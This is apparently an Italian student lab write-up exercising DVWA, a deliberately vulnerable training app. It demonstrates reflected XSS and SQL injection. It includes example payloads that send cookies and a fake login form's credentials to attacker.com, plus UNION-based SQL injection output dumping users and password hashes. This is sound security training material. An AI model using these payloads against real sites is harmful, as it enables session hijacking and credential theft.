

Esercizio S6-L2

Vulnerability: Reflected Cross Site Scripting (XSS)

What's your name?

Hello

More info

<http://ha.ckers.org/xss.html>

http://en.wikipedia.org/wiki/Cross-site_scripting

<http://www.cgisecurity.com/xss-faq.html>

Payload: `<script>alert('XSS');</script>`

Questo payload mostra un pop up come in foto. E' un modo semplice e immediato per verificare che l'applicazione sia vulnerabile.

- Il tag `<script>` in HTML viene utilizzato per inserire ed eseguire codice JavaScript all'interno di una pagina web.
- Quando il browser rileva questo tag, esegue il codice contenuto al suo interno.
`alert('XSS')`
- La funzione `alert()` in JavaScript visualizza un pop-up con un messaggio personalizzato.
- In questo caso, il messaggio è 'XSS', quindi quando il payload viene eseguito, appare un pop-up con il testo "XSS".

🌐 192.168.50.101

XSS

OK

Anche se in questo caso il codice è innocuo (mostra solo un messaggio), in un attacco reale potrebbe eseguire azioni più pericolose come rubare i cookie o mostrare un falso modulo di login:

- Rubare cookie:


Esempio di payload: `<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script>`

Questo reindirizza l'utente a un server controllato dall'attaccante, inviando i cookie come parametro.

- Mostrare un falso modulo di login:

Esempio di payload: `<script> document.body.innerHTML = '<form action="http://attacker.com/login.php"><input type="text" name="username"><input type="password" name="password"><button type="submit">Login</button></form>';</script>`

L'attaccante può rubare credenziali.



Home

Instructions

Setup

Brute Force

Command Execution

CSRF

File Inclusion

SQL Injection

SQL Injection (Blind)

Upload

XSS reflected

XSS stored

DVWA Security

PHP Info

About

Logout

Vulnerability: SQL Injection

User ID:

Submit

ID: 1' OR '1'='1
First name: admin
Surname: admin

ID: 1' OR '1'='1
First name: Gordon
Surname: Brown

ID: 1' OR '1'='1
First name: Hack
Surname: Me

ID: 1' OR '1'='1
First name: Pablo
Surname: Picasso

ID: 1' OR '1'='1
First name: Bob
Surname: Smith

More info

<http://www.securiteam.com/securityreviews/5DP0N1P76E.html>
http://en.wikipedia.org/wiki/SQL_injection
<http://www.unixwiz.net/techtips/sql-injection.html>

Username: admin
Security Level: low
PHPIDS: disabled

View Source

View Help

Il payload 1' OR '1'='1 è un esempio classico di SQL Injection utilizzato per dimostrare la mancanza di protezione in applicazioni vulnerabili. Serve principalmente per bypassare l'autenticazione o manipolare query SQL.



Home
Instructions
Setup

Brute Force
Command Execution
CSRF
File Inclusion
SQL Injection
SQL Injection (Blind)
Upload
XSS reflected
XSS stored

DVWA Security
PHP Info
About

Logout

Vulnerability: SQL Injection

User ID:

 Submit

ID: 1' UNION SELECT user, password FROM users#
First name: admin
Surname: admin

ID: 1' UNION SELECT user, password FROM users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 1' UNION SELECT user, password FROM users#
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: 1' UNION SELECT user, password FROM users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 1' UNION SELECT user, password FROM users#
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: 1' UNION SELECT user, password FROM users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

More info

<http://www.securiteam.com/securityreviews/5DP0N1P76E.html>
http://en.wikipedia.org/wiki/SQL_injection
<http://www.unixwiz.net/techtips/sql-injection.html>

Username: admin
Security Level: low
PHPIDS: disabled

View Source View Help

Il payload 1' UNION SELECT user, password FROM users# è un esempio di attacco SQL Injection che punta a ottenere informazioni sensibili da una tabella del database. È un attacco estremamente pericoloso, ma facilmente prevenibile con le giuste tecniche di sviluppo sicuro.